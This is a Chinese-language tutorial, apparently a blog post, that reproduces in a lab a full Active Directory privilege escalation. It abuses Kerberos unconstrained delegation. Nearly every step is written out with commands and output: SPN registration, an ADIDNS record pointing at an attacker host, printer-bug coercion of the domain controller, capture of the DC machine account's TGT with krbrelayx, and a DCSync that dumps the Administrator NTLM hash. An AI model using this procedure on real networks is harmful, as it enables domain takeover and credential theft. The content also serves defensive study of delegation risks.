返回
顶部

参考链接:

基本原理

这里不对非约束委派的具体细节进行深究,这里只讲一下利用的原理,如果你想了解数据包层面的原理分析,请移步至这篇文章:Kerberos非约束委派数据包分析

  • 域内的用户A在访问由非约束委派账户B运行的服务S
  • 向KDC请求服务票据
  • KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据
  • 该票据由服务账户也就是非约束委派账户B的hash进行加密
  • 用户A向其请求的服务器发送带有其TGT的服务票据
  • 服务器拿到后使用服务账户B解密即可获得用户A的TGT

如果这里的A是域管理员或者域控制器的机器账户,那么我们就有可能获得整个域的管理权限

域环境

在执行到最后一步,也就是触发printerbug的时候,发现总是报SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND,在krbrelay项目的issues里翻了翻,找到了相关问题:https://github.com/dirkjanm/krbrelayx/issues/9,在server 2008全版本以及server 2012中即使启用了Printer Spool服务,也依然无法访问到spoolss命名管道,因为它不在RPC中暴露该服务,因此下面的操作虽然是在server 2008上执行的,但是大家复现的时候要在server 2012 R2上进行操作

域控:

  • Windows Server 2012 R2
  • domain1.com

内网脱域linux主机:

  • centos7
  • root / 1234

需要关闭selinux,不然krbrelay开放的端口无法被外部访问,禁用方法参考https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/,最后还要再执行一下iptables -F清除防火墙规则

非约束委派账户:

  • ohyeah / OMG Step Bro I'm stuck

已经获得的一个低权限的域内账户:

  • low_prv / easyp@ss123

创建非约束委派账户

为该账户注册spn:

setspn -U -A servicetype/somecomputer:somport/servicename ohyeah

这里只用作演示,SPN是乱写的,只要符合格式即可<service class>/<host>:<port>/<service name>

1608622270659

注册完成之后,ohyeah账户的属性中会出现委派选项卡,勾选第二个即可

1608622366023

当然在实战环境中,我们需要自己定位非约束委派账户,使用dirkjanmldapdomaindump工具可以查找域内的非约束委派账户:

[root@localhost ldapdomaindump]# python3 ldapdomaindump.py -u domain1\\low_prv -p easyp@ss123 192.168.60.138
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
[root@localhost ldapdomaindump]# grep TRUSTED_FOR_DELEGATION domain_users.grep
ohyeah  ohyeah  ohyeah          Domain Users    12/22/20 06:52:40       12/22/20 07:33:20       12/22/20 07:14:59       NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, TRUSTED_FOR_DELEGATION     12/22/20 06:52:40       S-1-5-21-907132375-727761492-2815538385-1104

至于通过什么样的手段去获得该非约束委派账户的密码以及内网的linux服务器权限这里就不细讲了,没有固定的方法,这取决于各位在内网中进行信息搜集的和凭证获取的能力

然后我们用这个非约束委派账户再去注册一个SPN,主机就是我们已经控制的centos7,这里我们可以通过代理使用addspn.py进行SPN的注册,该脚本是dirkjanm工具集krbrelayx中的其中一个

$ python addspn.py -u domain1.com\ohyeah -p "OMG Step Bro I'm stuck" -s HOST/whatthefuck.domain1.com  ldap://192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150BB9, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

提示我们当前账户缺少适当的权限进行SPN的注册,一般情况下,非约束委派账户都是拥有对SPN的读写权限的,因此我们进行如下设置

1608722840620

至此,非约束委派账户创建完毕

使用非约束委派账户注册SPN

再次进行注册,其中192.168.60.138是域控制器地址:

$ python addspn.py -u domain1.com\ohyeah -p "OMG Step Bro I'm stuck" -s HOST/whatthefuck.domain1.com ldap://192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

添加DNS记录

然后我们要把刚才注册的SPN中的域名whatthefuck.domain1.com指向我们已经控制的centos7,使用dnstoo.py可以完成该操作

$ python dnstool.py -u domain1.com\low_prv -p easyp@ss123 -r whatthefuck.domain1.com  -a add -d 192.168.60.228 192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

添加之后,whatthefuck.domain1.com就会解析到我们的cnetos7的IP:192.168.60.228,这个记录最迟会在3分钟后生效,因为ADIDNS从LDAP中刷新纪录是有时间间隔的

1608724409931

1608724995214

开启Kerberos中继

下面我们在centos7上开启krbrelay,这一步就没办法通过代理操作了,只能在改linux上进行操作,一般情况下linux服务器的80端口(httpd)都是开着的,因此我们需要对krbrelayx.py的http服务监听端口进行更改,在94行添加c.setListeningPort(12138)即可:

1608725890249

然后开启krbrelay,-s参数的值就是salt,格式为域名全大写+用户名

开始使用的是python2,但是报了编码相关的错误,如果大家遇到了这种错误,可以尝试一下python3,应该能解决问题

[root@localhost krbrelayx-master]# python3 krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections

利用printerbug触发DC回连

一切准备就绪,现在只需要用printerbug漏洞触发域控制器向我们发起访问即可

python printerbug.py DOMAIN1/ohyeah:"OMG Step Bro I'm stuck"@192.168.60.138 whatthefuck.domain1.com

krbrelay收到来自DC的连接:

[root@localhost krbrelayx]# python3  krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.60.138
[*] Got ticket for WIN-4T6K0ODHA2F$@DOMAIN1.COM [krbtgt@DOMAIN1.COM]
[*] Saving ticket in WIN-4T6K0ODHA2F$@DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache
[*] SMBD: Received connection from 192.168.60.138
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 192.168.60.138
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

至此我们已经获取到了DC的机器账户WIN-4T6K0ODHA2F$的TGT:WIN-4T6K0ODHA2F$@DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache

提升至域控权限

设置环境变量,那个ccache文件又长还带了一个$,我干脆把它重命名为123.ccache:

[root@localhost krbrelayx]# mv *.ccache 123.ccache
[root@localhost krbrelayx]# export KRB5CCNAME=/tmp/tmp/krbrelayx/123.ccache

/etc/hosts文件中添加如下两行记录用于解析域名:

192.168.60.138 win-4t6k0odha2f.domain1.com
192.168.60.138 domain1.com

然后使用secretsdump.py获取指定域用户的hash,比如administrator:

[root@localhost krbrelayx]# secretsdump.py -no-pass -k win-4t6k0odha2f.domain1.com  -just-dc-user administrator -just-dc-ntlm
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:061c54f1f5311e1f47958465e16bab65:::
[*] Cleaning up...

至此,提权成功